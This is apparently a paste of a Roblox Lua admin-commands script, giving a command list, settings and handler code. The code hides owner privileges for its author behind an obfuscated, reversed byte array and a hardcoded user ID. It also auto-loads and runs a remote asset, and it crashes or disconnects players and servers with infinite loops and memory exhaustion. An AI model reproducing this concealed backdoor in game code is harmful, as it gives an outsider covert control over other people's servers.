  2214. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2215. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2216. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2217. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2218. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2219. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2220. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2221. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2222. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2223. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2224. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2225. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2226. end
  2227.  
  2228. end
  2229.  
  2230. --------------------
  2231. -- Owner Commands --
  2232. --------------------
  2233.  
  2234. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2235.  
  2236. if msg:lower():sub(1,3) == "pa " then
  2237. local plrz = GetPlr(plr, msg:lower():sub(4))
  2238. for i, v in pairs(plrz) do
  2239. coroutine.resume(coroutine.create(function()
  2240. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2241. end))
  2242. end
  2243. end
  2244.  
  2245. if msg:lower():sub(1,5) == "unpa " then
  2246. for i = 1, #admins do
  2247. coroutine.resume(coroutine.create(function()
  2248. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2249. end))
  2250. end
  2251. end
  2252.  
  2253. if msg:lower():sub(1,5) == "nuke " then
  2254. local plrz = GetPlr(plr, msg:lower():sub(6))
  2255. for i, v in pairs(plrz) do
  2256. coroutine.resume(coroutine.create(function()
  2257. if v and v.Character and v.Character:findFirstChild("Torso") then
  2258. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2259. p.Anchored = true
  2260. p.CanCollide = false
  2261. p.formFactor = "Symmetric"
  2262. p.Shape = "Ball"
  2263. p.Size = Vector3.new(1,1,1)
  2264. p.BrickColor = BrickColor.new("New Yeller")
  2265. p.Transparency = .5
  2266. p.Reflectance = .2
  2267. p.TopSurface = 0
  2268. p.BottomSurface = 0
  2269. p.Touched:connect(function(hit)
  2270. if hit and hit.Parent then
  2271. local ex = Instance.new("Explosion", game.Workspace)
  2272. ex.Position = hit.Position
  2273. ex.BlastRadius = 11
  2274. ex.BlastPressure = math.huge
  2275. end
  2276. end)
  2277. local cf = v.Character.Torso.CFrame
  2278. p.CFrame = cf
  2279. for i = 1, 333 do
  2280. p.Size = p.Size + Vector3.new(3,3,3)
  2281. p.CFrame = cf
  2282. wait(1/44)
  2283. end
  2284. p:Destroy()
  2285. end
  2286. end))
  2287. end
  2288. end
  2289.  
  2290. end
  2291.  
  2292. --------------------------
  2293. -- Super Admin Commands --
  2294. --------------------------
  2295.  
  2296. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2297.  
  2298. if msg:lower() == "logs" then
  2299. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2300. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2301. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2302. end
  2303.  
  2304. if msg:lower():sub(1,9) == "loopkill " then
  2305. local chk1 = msg:lower():sub(10):find(" ")
  2306. local plrz = GetPlr(plr, msg:lower():sub(10))
  2307. local num = 9999
  2308. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2309. for i, v in pairs(plrz) do
  2310. if v and not ChkAdmin(v.Name, false) then
  2311. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2312. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2313. for i = 1, ]] .. tostring(num) .. [[ do
  2314. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2315. coroutine.resume(coroutine.create(function()
  2316. if plr and plr.Character then plr.Character:BreakJoints() end
  2317. end))
  2318. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2319. end
  2320. end
  2321. end
  2322.  
  2323. if msg:lower():sub(1,11) == "unloopkill " then
  2324. local plrz = GetPlr(plr, msg:lower():sub(12))
  2325. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2326. end
  2327.  
  2328. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2329. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2330.  
  2331. if msg:lower():sub(1,3) == "sm " then
  2332. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2333. end
  2334.  
  2335. if msg:lower():sub(1,3) == "ko " then
  2336. local chk1 = msg:lower():sub(4):find(" ") + 3
  2337. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2338. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2339. for n = 1, num do
  2340. for i, v in pairs(plrz) do
  2341. coroutine.resume(coroutine.create(function()
  2342. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2343. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2344. v.Character:BreakJoints()
  2345. wait(1/44)
  2346. v:LoadCharacter()
  2347. wait(1/44)
  2348. end
  2349. end))
  2350. end
  2351. end
  2352. end
  2353.  
  2354. if msg:lower():sub(1,6) == "crash " then
  2355. local plrz = GetPlr(plr, msg:lower():sub(7))
  2356. for i, v in pairs(plrz) do
  2357. coroutine.resume(coroutine.create(function()
  2358. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2359. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2360. end
  2361. end))
  2362. end
  2363. end
  2364.  
  2365. if msg:lower():sub(1,5) == "kick " then
  2366. local plrz = GetPlr(plr, msg:lower():sub(6))
  2367. for i, v in pairs(plrz) do
  2368. coroutine.resume(coroutine.create(function()
  2369. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2370. end))
  2371. end
  2372. end
  2373.  
  2374. if msg:lower():sub(1,6) == "admin " then
  2375. local plrz = GetPlr(plr, msg:lower():sub(7))
  2376. for i, v in pairs(plrz) do
  2377. coroutine.resume(coroutine.create(function()
  2378. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2379. end))
  2380. end
  2381. end
  2382.  
  2383. if msg:lower():sub(1,8) == "unadmin " then
  2384. for i = 1, #tempadmins do
  2385. coroutine.resume(coroutine.create(function()
  2386. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2387. end))
  2388. end
  2389. end
  2390.  
  2391. if msg:lower():sub(1,4) == "ban " then
  2392. local plrz = GetPlr(plr, msg:lower():sub(5))
  2393. for i, v in pairs(plrz) do
  2394. coroutine.resume(coroutine.create(function()
  2395. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2396. end))
  2397. end
  2398. end
  2399.  
  2400. if msg:lower():sub(1,6) == "unban " then
  2401. for i = 1, #banland do
  2402. coroutine.resume(coroutine.create(function()
  2403. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2404. end))
  2405. end
  2406. end
  2407.  
  2408. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2409.  
  2410. end
  2411. end))
  2412. end
  2413.  
  2414. function AdminControl(plr)
  2415. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2416. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2417. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2418. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2419. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2420. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2421. end)) end
  2422. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2423. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2424. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2425. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2426. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2427. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2428. end
  2429.  
  2430. if not ntab then script:Destroy() end
  2431. if not bct then script:Destroy() end
  2432.  
  2433. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2434.  
  2435. script.Name = "Kohl's Admin Commands V2"
  2436.  
  2437. if not ntab then script:Destroy() end
  2438. if not bct then script:Destroy() end
  2439. if not tcb then script:Destroy() end
  2440. game.Players.PlayerAdded:connect(AdminControl)
  2441. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2442. end
  2443.  
  2444. local mod = game:service("InsertService"):LoadAsset(100808216)
  2445. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2446. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2447. newac.Disabled = true
  2448. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2449. local old = 0
  2450. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2451. if new > old then
  2452. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2453. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2454. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2455. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2456. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2457. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2458. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2459. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2460. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2461. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2462. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2463. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2464. wait()
  2465. newac.Parent = game.Workspace
  2466. newac.Disabled = false
  2467. script.Disabled = true
  2468. script:Destroy()
  2469. else
  2470. CHEESE()
  2471. end
  2472. else
  2473. CHEESE()
  2474. end
  2475. RAW Paste Data
  2476.  
  2477. -----------------------------------------------------------------------------------------
  2478. -- Replace harrypotterfan249 with your name c: --
  2479. -----------------------------------------------------------------------------------------
  2480. local owners = {"harrypotterfan249"} -- Are able to set admins who can ban/etc... using :pa name
  2481. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  2482. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  2483. local banland = {"MasterKhaos"} -- Permanently Bans people
  2484. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  2485. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  2486. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  2487. ---------------------
  2488. -- VIP Admin --
  2489. ---------------------
  2490. local VipAdmin = false -- If someone can have admin for owning an item
  2491. local ItemId = 0 -- The item they must own in order to have admin
  2492. ---------------------
  2493. -- Group Admin --
  2494. ---------------------
  2495. local GroupAdmin = false -- If a certain group can have admin
  2496. local GroupId = 0 -- Sets the group id that can have admin
  2497. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  2498. ---------------------
  2499. -- Tips and Tricks --
  2500. ---------------------
  2501. --[[
  2502. With this admin you can do a command on multiple people at a time;
  2503. :kill me,noob1,noob2,random,team-raiders,nonadmins
  2504.  
  2505. You can also use a variety commands for different people;
  2506. all
  2507. others
  2508. me
  2509. team-
  2510. admins
  2511. nonadmins
  2512. random
  2513. --]]
  2514. ---------------------
  2515. -- Commands --
  2516. ---------------------
  2517. --[[
  2518. -- |Temp Admin Commands| --
  2519. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  2520. 1. :s print("Hello World") -- Lets you script normally
  2521. 2. :ls print("Hello World") -- Lets you script in localscripts
  2522. 3. :clear -- Will remove all scripts/localscripts and jails
  2523. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  2524. 5. :kill kohl -- Kills the player
  2525. 6. :respawn kohl -- Respawns the player
  2526. 7. :trip kohl -- Trips the player
  2527. 8. :stun kohl -- Stuns the player
  2528. 9. :unstun kohl -- Unstuns the player
  2529. 10. :jump kohl -- Makes the player jump
  2530. 11. :sit kohl -- Makes the player sit
  2531. 12. :invisible kohl -- Makes the player invisible
  2532. 13. :visible kohl -- Makes the player visible
  2533. 14. :explode kohl -- Makes the player explode
  2534. 15. :fire kohl -- Sets the player on fire
  2535. 16. :unfire kohl -- Removes fire from the player
  2536. 17. :smoke kohl -- Adds smoke to the player
  2537. 18. :unsmoke kohl -- Removes smoke from the player
  2538. 19. :sparkles kohl -- Adds sparkles to the player
  2539. 20. :unsparkles kohl -- Removes sparkles from the player
  2540. 21. :ff kohl -- Adds a forcefield to the player
  2541. 22. :unff kohl -- Removes the forcefield from the player
  2542. 23. :punish kohl -- Punishes the player
  2543. 24. :unpunish kohl -- Unpunishes the player
  2544. 25. :freeze kohl -- Freezes the player
  2545. 26. :thaw kohl -- Thaws the player
  2546. 27. :heal kohl -- Heals the player
  2547. 28. :god kohl -- Makes the player have infinite health
  2548. 29. :ungod kohl -- Makes the player have 100 health
  2549. 30. :ambient .5 .5 .5 -- Changes the ambient
  2550. 31. :brightness .5 -- Changes the brightness
  2551. 32. :time 12 -- Changes the time
  2552. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  2553. 34. :fogend 100 -- Changes the fogend
  2554. 35. :fogstart 100 -- Changes the fogstart
  2555. 36. :removetools kohl -- Removes all tools from the player
  2556. 37. :btools kohl -- Gives the player building tools
  2557. 38. :give kohl sword -- Gives the player a tool
  2558. 39. :damage kohl -- Damages the player
  2559. 40. :grav kohl -- Sets the player's gravity to normal
  2560. 41. :setgrav kohl 100 -- Sets the player's gravity
  2561. 42. :nograv kohl -- Makes the player have 0 gravity
  2562. 43. :health kohl 1337 -- Changes the player's health
  2563. 44. :speed kohl 1337 -- Changes the player's walkspeed
  2564. 45. :name kohl potato -- Changes the player's name
  2565. 46. :unname kohl -- Remove the player's name
  2566. 47. :team kohl Raiders -- Changes the player's team
  2567. 48. :stopmusic -- Will stop all music playing in the server
  2568. 49. :teleport kohl potato -- Teleports the player
  2569. 50. :change kohl kills 1337 -- Changes a player's stat
  2570. 51. :kick kohl -- Removes the player from the game
  2571. 52. :infect kohl -- Turns the player into a zombie
  2572. 53. :rainbowify kohl -- Turns the player into a rainbow
  2573. 54. :flashify kohl -- Turns the player into a strobe
  2574. 55. :noobify kohl -- Turns the player into a noob
  2575. 56. :ghostify kohl -- Turns the player into a ghost
  2576. 57. :goldify kohl -- Turns the player into gold
  2577. 58. :shiny kohl -- Makes the player shiny
  2578. 59. :normal kohl -- Puts the player back to normal
  2579. 60. :trippy kohl -- Spams random colors on the player's screen
  2580. 61. :untrippy kohl -- Untrippys the player
  2581. 62. :strobe kohl -- Spams white and black on the player's screen
  2582. 63. :unstrobe kohl -- Unstrobes the player
  2583. 64. :blind kohl -- Blinds the player
  2584. 65. :unblind kohl -- Unblinds the player
  2585. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  2586. 67. :fling kohl -- Flings the player
  2587. 68. :seizure kohl -- Puts the player in a seizure
  2588. 69. :music 1337 -- Plays a sound from the ID
  2589. 70. :lock kohl -- Locks the player
  2590. 71. :unlock kohl -- Unlocks the player
  2591. 72. :removelimbs kohl -- Removes the player's limbs
  2592. 73. :jail kohl -- Puts the player in a jail
  2593. 74. :unjail kohl -- Removes the jail from the player
  2594. 75. :fix -- This will fix the lighting to it's original settings
  2595. 76. :fly kohl -- Makes the player fly
  2596. 77. :unfly kohl -- Removes fly from the player
  2597. 78. :noclip kohl -- Makes the player able to noclip
  2598. 79. :clip kohl -- Removes noclipping from the player
  2599. 80. :pm kohl Hey bro -- Sends the player a private message
  2600. 81. :dog kohl -- Turns the player into a dog
  2601. 82. :undog kohl -- Turns the player back to normal
  2602. 83. :creeper kohl -- Turns the player into a creeper
  2603. 84. :uncreeper kohl -- Turns the player back to normal
  2604. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  2605. 86. :char kohl 261 -- Will make a player look like a different player ID
  2606. 87. :unchar kohl -- Will return the player back to normal
  2607. 88. :h Hello People -- This will shout a hint to everyone
  2608. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  2609. 90. :starttools kohl -- Will give the player starter tools
  2610. 91. :sword kohl -- Will give the player a sword
  2611. 92. :bighead kohl -- Will make the player's head larger than normal
  2612. 93. :minihead kohl -- Will make the player's head smaller than normal
  2613. 94. :insert 1337 -- Will insert a model at the speaker's position
  2614. 95. :disco -- Will make the server flash random colors
  2615. 96. :flash -- Will make the server flash
  2616. 97. :admins -- Shows the admin list
  2617. 98. :bans -- Shows the banlist
  2618. 99. :musiclist -- Shows the music list
  2619. 100. :spin kohl -- Spins the player
  2620. 101. :cape kohl Really black -- Gives the player a colored cape
  2621. 102. :uncape kohl -- Removes the player's cape
  2622. 103. :loopheal kohl -- Will constantly heal the player
  2623. 104. :loopfling kohl -- Will constantly fling the player
  2624. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  2625. 106. :unloopheal kohl -- Will remove the loopheal on the player
  2626. 107. :unloopfling kohl -- Will remove the loopfling on the player
  2627. 108. :unspin kohl -- Removes spin from the player
  2628. 109. :tools -- Gives a list of the tools in the lighting
  2629. 110. :undisco -- Removes disco effects
  2630. 111. :unflash -- Removes flash effects
  2631. 112. :resetstats kohl -- Sets all the stats of a player to 0
  2632. 113. :gear kohl 1337 -- Gives a player a gear
  2633. 114. :cmdbar -- Gives the speaker a command bar
  2634. 115. :shirt kohl 1337 -- Changes the player's shirt
  2635. 116. :pants kohl 1337 -- Changes the player's pants
  2636. 117. :face kohl 1337 -- Changes the player's face
  2637. 118. :swagify kohl -- Swagifies the player
  2638. 119. :version -- Shows the current version of the admin
  2639. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  2640. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  2641. 122. :clone kohl -- Creates a clone of the player
  2642. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  2643. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  2644. 125. :control kohl -- Controls a player
  2645.  
  2646. -- |Admin Commands| --
  2647. - :serverlock -- Locks the server
  2648. - :serverunlock -- Unlocks the server
  2649. - :sm Hello World -- Creates a system message
  2650. - :crash kohl -- Crashes a player
  2651. - :admin kohl -- Admins a player
  2652. - :unadmin kohl -- Unadmins a player
  2653. - :ban kohl -- Bans a player
  2654. - :unban kohl -- Unbans a player
  2655. - :loopkill kohl -- Will constantly kill the player
  2656. - :unloopkill kohl -- Will remove the loopkill on the player
  2657. - :logs -- Will show all of the commands any admin has used in a game session
  2658. - :shutdown -- Shutsdown the server
  2659.  
  2660. -- |Owner Commands| --
  2661. - :pa kohl -- Makes someone a super admin
  2662. - :unpa kohl -- Removes a super admin
  2663. - :nuke kohl -- Creates a nuke on kohl
  2664.  
  2665. -- |True Owner Commands| --
  2666. - :oa kohl -- Makes someone an owner
  2667. - :unoa kohl -- Removes an owner
  2668. - :settings -- Shows settings for the commands
  2669. --]]
  2670. ---------------------
  2671. -- Main Script --
  2672. ---------------------
  2673. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  2674.  
  2675. function CHEESE()
  2676. if game:service("Lighting"):findFirstChild("KACV2") then
  2677. owners = {} admins = {} tempadmins = {} banland = {}
  2678. for i,v in pairs(game.Lighting.KACV2:children()) do
  2679. if v.Name == "Owner" then table.insert(owners, v.Value) end
  2680. if v.Name == "Admin" then table.insert(admins, v.Value) end
  2681. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  2682. if v.Name == "Banland" then table.insert(banland, v.Value) end
  2683. if v.Name == "Prefix" then prefix = v.Value end
  2684. if v.Name == "FunCommands" then FunCommands = v.Value end
  2685. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  2686. if v.Name == "GroupId" then GroupId = v.Value end
  2687. if v.Name == "GroupRank" then GroupRank = v.Value end
  2688. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  2689. if v.Name == "ItemId" then ItemId = v.Value end
  2690. end
  2691. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  2692. end
  2693.  
  2694. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  2695. local lobjs = {}
  2696. local objects = {}
  2697. local logs = {}
  2698. local nfs = ""
  2699. local slock = false
  2700.  
  2701. function GetTime()
  2702. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  2703. if min < 10 then min = "0"..min end
  2704. return hour..":"..min
  2705. end
  2706.  
  2707. function ChkOwner(str)
  2708. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  2709. return false
  2710. end
  2711.  
  2712. function ChkAdmin(str,ck)
  2713. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  2714. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  2715. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  2716. return false
  2717. end
  2718.  
  2719. function ChkGroupAdmin(plr)
  2720. if GroupAdmin then
  2721. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  2722. return false
  2723. end
  2724. end
  2725.  
  2726. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  2727.  
  2728. function GetPlr(plr, str)
  2729. local plrz = {} str = str:lower()
  2730. if str == "all" then plrz = game.Players:children()
  2731. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  2732. else
  2733. local sn = {1} local en = {}
  2734. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  2735. for x = 1, #sn do
  2736. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  2737. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  2738. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  2739. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
